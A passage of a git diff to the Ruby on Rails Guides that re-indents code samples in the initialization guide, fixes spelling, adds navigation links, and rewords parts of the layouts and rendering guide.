=> "config.ru" + } +end </ruby> There is no +REQUEST_METHOD+ key in +ENV+ so we can skip over that line. The next line merges in the options from +opt_parser+ which is defined plainly in +Rack::Server+ <ruby> - def opt_parser - Options.new - end +def opt_parser + Options.new +end </ruby> The class *is* defined in +Rack::Server+, but is overwritten in +Rails::Server+ to take different arguments. Its +parse!+ method begins like this: <ruby> - def parse!(args) - args, options = args.dup, {} +def parse!(args) + args, options = args.dup, {} - opt_parser = OptionParser.new do |opts| - opts.banner = "Usage: rails server [mongrel, thin, etc] [options]" - opts.on("-p", "--port=port", Integer, - "Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v } + opt_parser = OptionParser.new do |opts| + opts.banner = "Usage: rails server [mongrel, thin, etc] [options]" + opts.on("-p", "--port=port", Integer, + "Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v } ... </ruby> @@ -362,100 +363,101 @@ h4. +Rails::Server#start+ This method is defined like this: <ruby> - def start - puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}" - puts "=> Rails #{Rails.version} application starting in #{Rails.env} on http://#{options[:Host]}:#{options[:Port]}" - puts "=> Call with -d to detach" unless options[:daemonize] - trap(:INT) { exit } - puts "=> Ctrl-C to shutdown server" unless options[:daemonize] - - #Create required tmp directories if not found - %w(cache pids sessions sockets).each do |dir_to_make| - FileUtils.mkdir_p(Rails.root.join('tmp', dir_to_make)) - end - - super - ensure - # The '-h' option calls exit before @options is set. - # If we call 'options' with it unset, we get double help banners. - puts 'Exiting' unless @options && options[:daemonize] +def start + puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}" + puts "=> Rails #{Rails.version} application starting in #{Rails.env} on http://#{options[:Host]}:#{options[:Port]}" + puts "=> Call with -d to detach" unless options[:daemonize] + trap(:INT) { exit } + puts "=> Ctrl-C to shutdown server" unless options[:daemonize] + + #Create required tmp directories if not found + %w(cache pids sessions sockets).each do |dir_to_make| + FileUtils.mkdir_p(Rails.root.join('tmp', dir_to_make)) end + + super +ensure + # The '-h' option calls exit before @options is set. + # If we call 'options' with it unset, we get double help banners. + puts 'Exiting' unless @options && options[:daemonize] +end </ruby> This is where the first output of the Rails initialization happens. This method creates a trap for +INT+ signals, so if you +CTRL+C+ the server, it will exit the process. As we can see from the code here, it will create the +tmp/cache+, +tmp/pids+, +tmp/sessions+ and +tmp/sockets+ directories if they don't already exist prior to calling +super+. The +super+ method will call +Rack::Server.start+ which begins its definition like this: <ruby> - def start - if options[:warn] - $-w = true - end +def start + if options[:warn] + $-w = true + end - if includes = options[:include] - $LOAD_PATH.unshift(*includes) - end + if includes = options[:include] + $LOAD_PATH.unshift(*includes) + end - if library = options[:require] - require library - end + if library = options[:require] + require library + end - if options[:debug] - $DEBUG = true - require 'pp' - p options[:server] - pp wrapped_app - pp app - end + if options[:debug] + $DEBUG = true + require 'pp' + p options[:server] + pp wrapped_app + pp app + end +end </ruby> In a Rails application, these options are not set at all and therefore aren't used at all. The first line of code that's executed in this method is a call to this method: <ruby> - wrapped_app +wrapped_app </ruby> This method calls another method: <ruby> - @wrapped_app ||= build_app app +@wrapped_app ||= build_app app </ruby> Then the +app+ method here is defined like so: <ruby> - def app - @app ||= begin - if !::File.exist? options[:config] - abort "configuration #{options[:config]} not found" - end - - app, options = Rack::Builder.parse_file(self.options[:config], opt_parser) - self.options.merge! options - app +def app + @app ||= begin + if !::File.exist? options[:config] + abort "configuration #{options[:config]} not found" end + + app, options = Rack::Builder.parse_file(self.options[:config], opt_parser) + self.options.merge! options + app end +end </ruby> The +options[:config]+ value defaults to +config.ru+ which contains this: <ruby> - # This file is used by Rack-based servers to start the application. +# This file is used by Rack-based servers to start the application. - require ::File.expand_path('../config/environment', __FILE__) - run YourApp::Application +require ::File.expand_path('../config/environment', __FILE__) +run YourApp::Application </ruby> The +Rack::Builder.parse_file+ method here takes the content from this +config.ru+ file and parses it using this code: <ruby> - app = eval "Rack::Builder.new {( " + cfgfile + "\n )}.to_app", +app = eval "Rack::Builder.new {( " <plus> cfgfile <plus> "\n )}.to_app", TOPLEVEL_BINDING, config </ruby> -The <ruby>initialize</ruby> method will take the block here and execute it within an instance of +Rack::Builder+. This is where the majority of the initialization process of Rails happens. The chain of events that this simple line sets off will be the focus of a large majority of this guide. The +require+ line for +config/environment.rb+ in +config.ru+ is the first to run: +The +initialize+ method will take the block here and execute it within an instance of +Rack::Builder+. This is where the majority of the initialization process of Rails happens. The chain of events that this simple line sets off will be the focus of a large majority of this guide. The +require+ line for +config/environment.rb+ in +config.ru+ is the first to run: <ruby> - require ::File.expand_path('../config/environment', __FILE__) +require ::File.expand_path('../config/environment', __FILE__) </ruby> h4. +config/environment.rb+ @@ -475,7 +477,7 @@ h3. Loading Rails The next line in +config/application.rb+ is: <ruby> - require 'rails/all' +require 'rails/all' </ruby> h4. +railties/lib/rails/all.rb+ @@ -483,20 +485,20 @@ h4. +railties/lib/rails/all.rb+ This file is responsible for requiring all the individual parts of Rails like so: <ruby> - require "rails" +require "rails" - %w( +%w( active_record action_controller action_mailer active_resource rails/test_unit - ).each do |framework| - begin - require "#{framework}/railtie" - rescue LoadError - end +).each do |framework| + begin + require "#{framework}/railtie" + rescue LoadError end +end </ruby> First off the line is the +rails+ require itself. @@ -511,16 +513,16 @@ h4. +railties/lib/rails/ruby_version_check.rb+ This file simply checks if the Ruby version is less than 1.8.7 or is 1.9.1 and raises an error if that is the case. Rails 3 simply will not run on earlier versions of Ruby than 1.8.7 or 1.9.1. -NOTE: You should always endeavour to run the latest version of Ruby with your Rails applications. The benefits are many, including security fixes and the like, and very often there is a speed increase associated with it. The caveat is that you could have code that potentially breaks on the latest version, which should be fixed to work on the latest version rather than kept around as an excuse not to upgrade. +NOTE: You should always endeavor to run the latest version of Ruby with your Rails applications. The benefits are many, including security fixes and the like, and very often there is a speed increase associated with it. The caveat is that you could have code that potentially breaks on the latest version, which should be fixed to work on the latest version rather than kept around as an excuse not to upgrade. h4. +active_support/core_ext/kernel/reporting.rb+ This is the first of the many Active Support core extensions that come with Rails. This one in particular defines methods in the +Kernel+ module which is mixed in to the +Object+ class so the methods are available on +main+ and can therefore be called like this: <ruby> - silence_warnings do - # some code - end +silence_warnings do + # some code +end </ruby> These methods can be used to silence STDERR responses and the +silence_stream+ allows you to also silence other streams. Additionally, this mixin allows you to suppress exceptions and capture streams. For more information see the "Silencing Warnings, Streams, and Exceptions":http://guides.rubyonrails.org/active_support_core_extensions.html#silencing-warnings-streams-and-exceptions section from the Active Support Core Extensions Guide. @@ -635,14 +637,14 @@ h4. +railties/lib/rails/rack.rb+ The final file to be loaded by +railties/lib/rails/configuration.rb+ is +rails/rack+ which defines some simple autoloads: <ruby> - module Rails - module Rack - autoload :Debugger, "rails/rack/debugger" - autoload :Logger, "rails/rack/logger" - autoload :LogTailer, "rails/rack/log_tailer" - autoload :Static, "rails/rack/static" - end +module Rails + module Rack + autoload :Debugger, "rails/rack/debugger" + autoload :Logger, "rails/rack/logger" + autoload :LogTailer, "rails/rack/log_tailer" + autoload :Static, "rails/rack/static" end +end </ruby> Once this file is finished loading, then the +Rails::Configuration+ class is initialized. This completes the loading of +railties/lib/rails/configuration.rb+ and now we jump back to the loading of +railties/lib/rails/railtie.rb+, where the next file loaded is +active_support/inflector+. @@ -652,17 +654,17 @@ h4. +activesupport/lib/active_support/inflector.rb+ +active_support/inflector.rb+ requires a series of file which are responsible for setting up the basics for knowing how to pluralize and singularize words. These files are: <ruby> - require 'active_support/inflector/inflections' - require 'active_support/inflector/transliterate' - require 'active_support/inflector/methods' +require 'active_support/inflector/inflections' +require 'active_support/inflector/transliterate' +require 'active_support/inflector/methods' - require 'active_support/inflections' - require 'active_support/core_ext/string/inflections' +require 'active_support/inflections' +require 'active_support/core_ext/string/inflections' </ruby> -The +active_support/inflector/methods+ file has already been required by +active_support/autoload+ and so won't be loaded again here. +The +active_support/inflector/methods+ file has already been required by +active_support/autoload+ and so won't be loaded again here. The +activesupport/lib/active_support/inflector/inflections.rb+ is required by +active_support/inflector/methods+. -h4. +activesupport/lib/active_support/inflector/inflections.rb+ +h4. +active_support/inflections+ This file references the +ActiveSupport::Inflector+ constant which isn't loaded by this point. But there were autoloads set up in +activesupport/lib/active_support.rb+ which will load the file which loads this constant and so then it will be defined. Then this file defines pluralization and singularization rules for words in Rails. This is how Rails knows how to pluralize "tomato" to "tomatoes". @@ -721,22 +723,22 @@ h4. +activesupport/lib/active_support/i18n_railtie.rb+ This file is the first file that sets up configuration with these lines inside the class: <ruby> - class Railtie < Rails::Railtie - config.i18n = ActiveSupport::OrderedOptions.new - config.i18n.railties_load_path = [] - config.i18n.load_path = [] - config.i18n.fallbacks = ActiveSupport::OrderedOptions.new +class Railtie < Rails::Railtie + config.i18n = ActiveSupport::OrderedOptions.new + config.i18n.railties_load_path = [] + config.i18n.load_path = [] + config.i18n.fallbacks = ActiveSupport::OrderedOptions.new </ruby> By inheriting from +Rails::Railtie+ the +Rails::Railtie#inherited+ method is called: <ruby> - def inherited(base) - unless base.abstract_railtie? - base.send(:include, Railtie::Configurable) - subclasses << base - end +def inherited(base) + unless base.abstract_railtie? + base.send(:include, Railtie::Configurable) + subclasses << base end +end </ruby> This first checks if the Railtie that's inheriting it is a component of Rails itself: @@ -759,19 +761,18 @@ def subclasses end </ruby> - The +config+ method used at the top of +I18n::Railtie+ is defined on +Rails::Railtie+ and is defined like this: <ruby> - def config - @config ||= Railtie::Configuration.new - end +def config + @config ||= Railtie::Configuration.new +end </ruby> At this point, that +Railtie::Configuration+ constant is automatically loaded which causes the +rails/railties/configuration+ file to be loaded. The line for this is this particular line in +railties/lib/rails/railtie.rb+: <ruby> - autoload :Configuration, "rails/railtie/configuration" +autoload :Configuration, "rails/railtie/configuration" </ruby> h4. +railties/lib/rails/railtie/configuration.rb+ @@ -781,15 +782,15 @@ This file begins with a require out to +rails/configuration+ which has already b This file defines the +Rails::Railtie::Configuration+ class which is responsible for providing a way to easily configure railties and it's the +initialize+ method here which is called by the +config+ method back in the +i18n_railtie.rb+ file. The methods on this object don't exist, and so are rescued by the +method_missing+ defined further down in +configuration.rb+: <ruby> - def method_missing(name, *args, &blk) - if name.to_s =~ /=$/ - @@options[$`.to_sym] = args.first - elsif @@options.key?(name) - @@options[name] - else - super - end +def method_missing(name, *args, &blk) + if name.to_s =~ /=$/ + @@options[$`.to_sym] = args.first + elsif @@options.key?(name) + @@options[name] + else + super end +end </ruby> So therefore when an option is referred to it simply stores the value as the key if it's used in a setter context, or retrieves it if used in a getter context. Nothing fancy going on there. @@ -799,21 +800,21 @@ h4. Back to +activesupport/lib/active_support/i18n_railtie.rb+ After the configuration method the +reloader+ method is defined, and then the first of of Railties' initializers is defined: +i18n.callbacks+. <ruby> - initializer "i18n.callbacks" do - ActionDispatch::Reloader.to_prepare do - I18n::Railtie.reloader.execute_if_updated - end +initializer "i18n.callbacks" do + ActionDispatch::Reloader.to_prepare do + I18n::Railtie.reloader.execute_if_updated end +end </ruby> The +initializer+ method (from the +Rails::Initializable+ module) here doesn't run the block, but rather stores it to be run later on: <ruby> - def initializer(name, opts = {}, &blk) - raise ArgumentError, "A block must be passed when defining an initializer" unless blk - opts[:after] ||= initializers.last.name unless initializers.empty? || initializers.find { |i| i.name == opts[:before] } - initializers << Initializer.new(name, nil, opts, &blk) - end +def initializer(name, opts = {}, &blk) + raise ArgumentError, "A block must be passed when defining an initializer" unless blk + opts[:after] ||= initializers.last.name unless initializers.empty? || initializers.find { |i| i.name == opts[:before] } + initializers << Initializer.new(name, nil, opts, &blk) +end </ruby> An initializer can be configured to run before or after another initializer, which we'll see a couple of times throughout this initialization process. Anything that inherits from +Rails::Railtie+ may also make use of the +initializer+ method, something which is covered in the "Configuration guide":[http://ryanbigg.com/guides/configuring.html#rails-railtie-initializer]. @@ -821,83 +822,83 @@ An initializer can be configured to run before or after another initializer, whi The +Initializer+ class here is defined within the +Rails::Initializable+ module and its +initialize+ method is defined to just set up a couple of variables: <ruby> - def initialize(name, context, options, &block) - @name, @context, @options, @block = name, context, options, block - end +def initialize(name, context, options, &block) + @name, @context, @options, @block = name, context, options, block +end </ruby> Once this +initialize+ method is finished, the object is added to the object the +initializers+ method returns: <ruby> - def initializers - @initializers ||= self.class.initializers_for(self) - end +def initializers + @initializers ||= self.class.initializers_for(self) +end </ruby> If +@initializers+ isn't set (which it won't be at this point), the +intializers_for+ method will be called for this class. <ruby> - def initializers_for(binding) - Collection.new(initializers_chain.map { |i| i.bind(binding) }) - end +def initializers_for(binding) + Collection.new(initializers_chain.map { |i| i.bind(binding) }) +end </ruby> The +Collection+ class in +railties/lib/rails/initializable.rb+ inherits from +Array+ and includes the +TSort+ module which is used to sort out the order of the initializers based on the order they are placed in. The +initializers_chain+ method referenced in the +initializers_for+ method is defined like this: -<rub> - def initializers_chain - initializers = Collection.new - ancestors.reverse_each do | klass | - next unless klass.respond_to?(:initializers) - initializers = initializers + klass.initializers - end - initializers +<ruby> +def initializers_chain + initializers = Collection.new + ancestors.reverse_each do | klass | + next unless klass.respond_to?(:initializers) + initializers = initializers + klass.initializers end + initializers +end </ruby> This method collects the initializers from the ancestors of this class and adds them to a new +Collection+ object using the <tt>+</tt> method which is defined like this for the <tt>Collection</tt> class: <ruby> - def +(other) - Collection.new(to_a + other.to_a) - end +def +(other) + Collection.new(to_a + other.to_a) +end </ruby> -So this <tt>+</tt> method is overriden to return a new collection comprising of the existing collection as an array and then using the <tt>Array#+</tt> method combines these two collections, returning a "super" +Collection+ object. In this case, the only initializer that's going to be in this new +Collection+ object is the +i18n.callbacks+ initializer. +So this <tt>+</tt> method is overridden to return a new collection comprising of the existing collection as an array and then using the <tt>Array#+</tt> method combines these two collections, returning a "super" +Collection+ object. In this case, the only initializer that's going to be in this new +Collection+ object is the +i18n.callbacks+ initializer. The next method to be called after this +initializer+ method is the +after_initialize+ method on the +config+ object, which is defined like this: <ruby> - def after_initialize(&block) - ActiveSupport.on_load(:after_initialize, :yield => true, &block) - end +def after_initialize(&block) + ActiveSupport.on_load(:after_initialize, :yield => true, &block) +end </ruby> The +on_load+ method here is provided by the +active_support/lazy_load_hooks+ file which was required earlier and is defined like this: <ruby> - def self.on_load(name, options = {}, &block) - if base = @loaded[name] - execute_hook(base, options, block) - else - @load_hooks[name] << [block, options] - end +def self.on_load(name, options = {}, &block) + if base = @loaded[name] + execute_hook(base, options, block) + else + @load_hooks[name] << [block, options] end +end </ruby> The +@loaded+ variable here is a hash containing elements representing the different components of Rails that have been loaded at this stage. Currently, this hash is empty. So the +else+ is executed here, using the +@load_hooks+ variable defined in +active_support/lazy_load_hooks+: <ruby> - @load_hooks = Hash.new {|h,k| h[k] = [] } +@load_hooks = Hash.new {|h,k| h[k] = [] } </ruby> This defines a new hash which has keys that default to empty arrays. This saves Rails from having to do something like this instead: <ruby> - @load_hooks[name] = [] - @load_hooks[name] << [block, options] +@load_hooks[name] = [] +@load_hooks[name] << [block, options] </ruby> The value added to this array here consists of the block and options passed to +after_initialize+. @@ -929,11 +930,11 @@ h4. +activesupport/lib/action_dispatch.rb+ This file attempts to locate the +active_support+ and +active_model+ libraries by looking a couple of directories back from the current file and then adds the +active_support+ and +active_model+ +lib+ directories to the load path, but only if they aren't already, which they are. <ruby> - activesupport_path = File.expand_path('../../../activesupport/lib', __FILE__) - $:.unshift(activesupport_path) if File.directory?(activesupport_path) && !$:.include?(activesupport_path) +activesupport_path = File.expand_path('../../../activesupport/lib', __FILE__) +$:.unshift(activesupport_path) if File.directory?(activesupport_path) && !$:.include?(activesupport_path) - activemodel_path = File.expand_path('../../../activemodel/lib', __FILE__) - $:.unshift(activemodel_path) if File.directory?(activemodel_path) && !$:.include?(activemodel_path) +activemodel_path = File.expand_path('../../../activemodel/lib', __FILE__) +$:.unshift(activemodel_path) if File.directory?(activemodel_path) && !$:.include?(activemodel_path) </ruby> In effect, these lines only define the +activesupport_path+ and +activemodel_path+ variables and nothing more. @@ -941,23 +942,23 @@ In effect, these lines only define the +activesupport_path+ and +activemodel_pat The next two requires in this file are already done, so they are not run: <ruby> - require 'active_support' - require 'active_support/dependencies/autoload' +require 'active_support' +require 'active_support/dependencies/autoload' </ruby> The following require is to +action_pack+ (+activesupport/lib/action_pack.rb+) which has a 22-line copyright notice at the top of it and ends in a simple require to +action_pack/version+. This file, like other +version.rb+ files before it, defines the +ActionPack::VERSION+ constant: <ruby> - module ActionPack - module VERSION #:nodoc: - MAJOR = 3 - MINOR = 1 - TINY = 0 - PRE = "beta" - - STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.') - end +module ActionPack + module VERSION #:nodoc: + MAJOR = 3 + MINOR = 1 + TINY = 0 + PRE = "beta" + + STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.') end +end </ruby> Once +action_pack+ is finished, then +active_model+ is required. @@ -967,16 +968,16 @@ h4. +activemodel/lib/active_model.rb+ This file makes a require to +active_model/version+ which defines the version for Active Model: <ruby> - module ActiveModel - module VERSION #:nodoc: - MAJOR = 3 - MINOR = 1 - TINY = 0 - PRE = "beta" - - STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.') - end +module ActiveModel + module VERSION #:nodoc: + MAJOR = 3 + MINOR = 1 + TINY = 0 + PRE = "beta" + + STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.') end +end </ruby> Once the +version.rb+ file is loaded, the +ActiveModel+ module has its autoloaded constants defined as well as a sub-module called +ActiveModel::Serializers+ which has autoloads of its own. When the +ActiveModel+ module is closed the +active_support/i18n+ file is required. @@ -986,15 +987,15 @@ h4. +activesupport/lib/active_support/i18n.rb+ This is where the +i18n+ gem is required and first configured: <ruby> - begin - require 'i18n' - require 'active_support/lazy_load_hooks' - rescue LoadError => e - $stderr.puts "You don't have i18n installed in your application. Please add it to your Gemfile and run bundle install" - raise e - end +begin + require 'i18n' + require 'active_support/lazy_load_hooks' +rescue LoadError => e + $stderr.puts "You don't have i18n installed in your application. Please add it to your Gemfile and run bundle install" + raise e +end - I18n.load_path << "#{File.dirname(__FILE__)}/locale/en.yml" +I18n.load_path << "#{File.dirname(__FILE__)}/locale/en.yml" </ruby> In effect, the +I18n+ module first defined by +i18n_railtie+ is extended by the +i18n+ gem, rather than the other way around. This has no ill effect. They both work on the same way. @@ -1012,9 +1013,9 @@ h4. Back to +activesupport/lib/action_dispatch.rb+ The remainder of this file requires the +rack+ file from the Rack gem which defines the +Rack+ module. After +rack+, there's autoloads defined for the +Rack+, +ActionDispatch+, +ActionDispatch::Http+, +ActionDispatch::Session+. A new method called +autoload_under+ is used here, and this simply prefixes the files where the modules are autoloaded from with the path specified. For example here: <ruby> - autoload_under 'testing' do - autoload :Assertions - ... +autoload_under 'testing' do + autoload :Assertions +... </ruby> The +Assertions+ module is in the +action_dispatch/testing+ folder rather than simply +action_dispatch+. @@ -1046,25 +1047,25 @@ This file begins by detecting if the +lib+ directories of +active_support+ and + The first three requires have already been done by other files and so aren't loaded here, but the 4th require, the one to +arel+ will require the file provided by the Arel gem, which defines the +Arel+ module. <ruby> - require 'active_support' - require 'active_support/i18n' - require 'active_model' - require 'arel' +require 'active_support' +require 'active_support/i18n' +require 'active_model' +require 'arel' </ruby> The 5th require in this file is one to +active_record/version+ which defines the +ActiveRecord::VERSION+ constant: <ruby> - module ActiveRecord - module VERSION #:nodoc: - MAJOR = 3 - MINOR = 1 - TINY = 0 - PRE = "beta" - - STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.') - end +module ActiveRecord + module VERSION #:nodoc: + MAJOR = 3 + MINOR = 1 + TINY = 0 + PRE = "beta" + + STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.') end +end </ruby> Once these requires are finished, the base for the +ActiveRecord+ module is defined along with its autoloads. @@ -1072,9 +1073,9 @@ Once these requires are finished, the base for the +ActiveRecord+ module is defi Near the end of the file, we see this line: <ruby> - ActiveSupport.on_load(:active_record) do - Arel::Table.engine = self - end +ActiveSupport.on_load(:active_record) do + Arel::Table.engine = self +end </ruby> This will set the engine for +Arel::Table+ to be +ActiveRecord::Base+. @@ -1082,7 +1083,7 @@ This will set the engine for +Arel::Table+ to be +ActiveRecord::Base+. The file then finishes with this line: <ruby> - I18n.load_path << File.dirname(__FILE__) + '/active_record/locale/en.yml' +I18n.load_path << File.dirname(__FILE__) + '/active_record/locale/en.yml' </ruby> This will add the translations from +activerecord/lib/active_record/locale/en.yml+ to the load path for +I18n+, with this file being parsed when all the translations are loaded. @@ -1092,8 +1093,8 @@ h4. Back to +activerecord/lib/active_record/railtie.rb+ The next two <tt>require</tt>s in this file aren't run because their files are already required, with +rails+ being required by +rails/all+ and +active_model/railtie+ being required from +action_dispatch+. <ruby> - require "rails" - require "active_model/railtie" +require "rails" +require "active_model/railtie" </ruby> The next +require+ in this file is to +action_controller/railtie+. @@ -1103,9 +1104,9 @@ h4. +actionpack/lib/action_controller/railtie.rb+ This file begins with a couple more requires to files that have already been loaded: <ruby> - require "rails" - require "action_controller" - require "action_dispatch/railtie" +require "rails" +require "action_controller" +require "action_dispatch/railtie" </ruby> However the require after these is to a file that hasn't yet been loaded, +action_view/railtie+, which begins by requiring +action_view+. diff --git a/railties/guides/source/layout.html.erb b/railties/guides/source/layout.html.erb index 5dcac8e74c..4c979888b7 100644 --- a/railties/guides/source/layout.html.erb +++ b/railties/guides/source/layout.html.erb @@ -5,7 +5,7 @@ <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> -<title><%= yield(:page_title) || 'Ruby on Rails guides' %></title> +<title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title> <link rel="stylesheet" type="text/css" href="stylesheets/style.css" /> <link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" /> @@ -71,6 +71,7 @@ <dd><a href="configuring.html">Configuring Rails Applications</a></dd> <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd> <dd><a href="caching_with_rails.html">Caching with Rails</a></dd> + <dd><a href="asset_pipeline.html">Asset Pipeline</a></dd> <dt>Extending Rails</dt> <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd> @@ -83,13 +84,14 @@ <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd> <dt>Release Notes</dt> + <dd><a href="3_1_release_notes.html">Ruby on Rails 3.1 Release Notes</a></dd> <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd> <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd> <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd> </dl> </div> </li> - <li><a href="contribute.html">Contribute</a></li> + <li><a href="contributing_to_ruby_on_rails.html">Contribute</a></li> <li><a href="credits.html">Credits</a></li> </ul> </div> @@ -127,6 +129,10 @@ <%= link_to 'Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html' %> for style and conventions. </p> + <p> + If for whatever reason you spot something to fix but cannot patch it yourself, please + <%= link_to 'open an issue', 'https://github.com/rails/rails/issues' %>. + </p> <p>And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the <%= link_to 'rubyonrails-docs mailing list', 'http://groups.google.com/group/rubyonrails-docs' %>. </p> diff --git a/railties/guides/source/layouts_and_rendering.textile b/railties/guides/source/layouts_and_rendering.textile index d67668df91..df7b9b364c 100644 --- a/railties/guides/source/layouts_and_rendering.textile +++ b/railties/guides/source/layouts_and_rendering.textile @@ -90,11 +90,11 @@ If we want to display the properties of all the books in our view, we can do so <%= link_to 'New book', new_book_path %> </ruby> -NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), and +.builder+ for Builder (XML generator). +NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. Beginning with Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), and +.builder+ for Builder (XML generator). h4. Using +render+ -In most cases, the +ActionController::Base#render+ method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customise the behaviour of +render+. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well. +In most cases, the +ActionController::Base#render+ method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behaviour of +render+. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well. TIP: If you want to see the exact results of a call to +render+ without needing to inspect it in a browser, you can call +render_to_string+. This method takes exactly the same options as +render+, but it returns a string instead of sending a response back to the browser. @@ -123,7 +123,7 @@ Cache-Control: no-cache $ </shell> -We see there is an empty response (no data after the +Cache-Control+ line), but the request was successful because Rails has set the response to 200 OK. You can set the +:status+ option on render to change this response. Rendering nothing can be useful for AJAX requests where all you want to send back to the browser is an acknowledgement that the request was completed. +We see there is an empty response (no data after the +Cache-Control+ line), but the request was successful because Rails has set the response to 200 OK. You can set the +:status+ option on render to change this response. Rendering nothing can be useful for AJAX requests where all you want to send back to the browser is an acknowledgment that the request was completed. TIP: You should probably be using the +head+ method, discussed later in this guide, instead of +render :nothing+. This provides additional flexibility and makes it explicit that you're only generating HTTP headers. @@ -334,7 +334,7 @@ render :status => 500 render :status => :forbidden </ruby> -Rails understands both numeric status codes and symbols for status codes. +Rails understands both numeric and symbolic status codes. h6. The +:location+ Option @@ -348,9 +348,9 @@ h5. Finding Layouts To find the current layout, Rails first looks for a file in +app/views/layouts+ with the same base name as the controller. For example, rendering actions from the +PhotosController+ class will use +app/views/layouts/photos.html.erb+ (or +app/views/layouts/photos.builder+). If there is no such controller-specific layout, Rails will use +app/views/layouts/application.html.erb+ or +app/views/layouts/application.builder+. If there is no +.erb+ layout, Rails will use a +.builder+ layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions. -h6. Specifying Layouts on a per-Controller Basis +h6. Specifying Layouts for Controllers -You can override the automatic layout conventions in your controllers by using the +layout+ declaration in the controller. For example: +You can override the default layout conventions in your controllers by using the +layout+ declaration. For example: <ruby> class ProductsController < ApplicationController @@ -359,9 +359,9 @@ class ProductsController < ApplicationController end </ruby> -With this declaration, all methods within +ProductsController+ will use +app/views/layouts/inventory.html.erb+ for their layout. +With this declaration, all of the methods within +ProductsController+ will use +app/views/layouts/inventory.html.erb+ for their layout. -To assign a specific layout for the entire application, use a declaration in your +ApplicationController+ class: +To assign a specific layout for the entire application, use a +layout+ declaration in your +ApplicationController+ class: <ruby> class ApplicationController < ActionController::Base @@ -370,7 +370,7 @@ class ApplicationController < ActionController::Base end </ruby> -With this declaration, all views in the entire application will use +app/views/layouts/main.html.erb+ for their layout. +With this declaration, all of the views in the entire application will use +app/views/layouts/main.html.erb+ for their layout. h6. Choosing Layouts at Runtime @@ -392,9 +392,9 @@ class ProductsController < ApplicationController end </ruby> -Now, if the current user is a special user, they'll get a special layout when viewing a product. You can even use an inline method to determine the layout: +Now, if the current user is a special user, they'll get a special layout when viewing a product. -You can also decide the layout by passing a Proc object, the block you give the Proc will be given the +controller+ instance, so you can make decisions based on the current request. For example: +You can even use an inline method, such as a Proc, to determine the layout. For example, if you pass a Proc object, the block you give the Proc will be given the +controller+ instance, so the layout can be determined based on the current request: <ruby> class ProductsController < ApplicationController @@ -404,7 +404,7 @@ end h6. Conditional Layouts -Layouts specified at the controller level support +:only+ and +:except+ options that take either a method name or an array of method names which correspond to method names within the controller: +Layouts specified at the controller level support the +:only+ and +:except+ options. These options take either a method name, or an array of method names, corresponding to method names within the controller: <ruby> class ProductsController < ApplicationController @@ -416,7 +416,7 @@ With this declaration, the +product+ layout would be used for everything but the h6. Layout Inheritance -Layouts are shared downwards in the hierarchy, and more specific layouts always override more general ones. For example: +Layout declarations cascade downward in the hierarchy, and more specific layout declarations always override more general ones. For example: * +application_controller.rb+ @@ -495,9 +495,9 @@ def show end </ruby> -Make sure you use +and return+ and not +&& return+ because while the former will work, the latter will not due to operator precedence in the Ruby Language. +Make sure to use +and return+ and not +&& return+, since +&& return+ will not work due to the operator precedence in the Ruby Language. -Note that the implicit render done by ActionController detects if +render+ has been called, and thus avoids this error. Therefore, the following will work without errors: +Note that the implicit render done by ActionController detects if +render+ has been called, so the following will work without errors: <ruby> def show @@ -515,10 +515,10 @@ h4. Using +redirect_to+ Another way to handle returning responses to an HTTP request is with +redirect_to+. As you've seen, +render+ tells Rails which view (or other asset) to use in constructing a response. The +redirect_to+ method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call: <ruby> -redirect_to photos_path +redirect_to photos_url </ruby> -You can use +redirect_to+ with any arguments that you could use with +link_to+ or +url_for+. In addition, there's a special redirect that sends the user back to the page they just came from: +You can use +redirect_to+ with any arguments that you could use with +link_to+ or +url_for+. There's also a special redirect that sends the user back to the page they just came from: <ruby> redirect_to :back @@ -526,7 +526,7 @@ redirect_to :back h5. Getting a Different Redirect Status Code -Rails uses HTTP status code 302 (temporary redirect) when you call +redirect_to+. If you'd like to use a different status code (perhaps 301, permanent redirect), you can do so by using the +:status+ option: +Rails uses HTTP status code 302, a temporary redirect, when you call +redirect_to+. If you'd like to use a different status code, perhaps 301, a permanent redirect, you can use the +:status+ option: <ruby> redirect_to photos_path, :status => 301 @@ -536,7 +536,7 @@ Just like the +:status+ option for +render+, +:status+ for +redirect_to+ accepts h5. The Difference Between +render+ and +redirect_to+ -Sometimes inexperienced developers conceive of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running 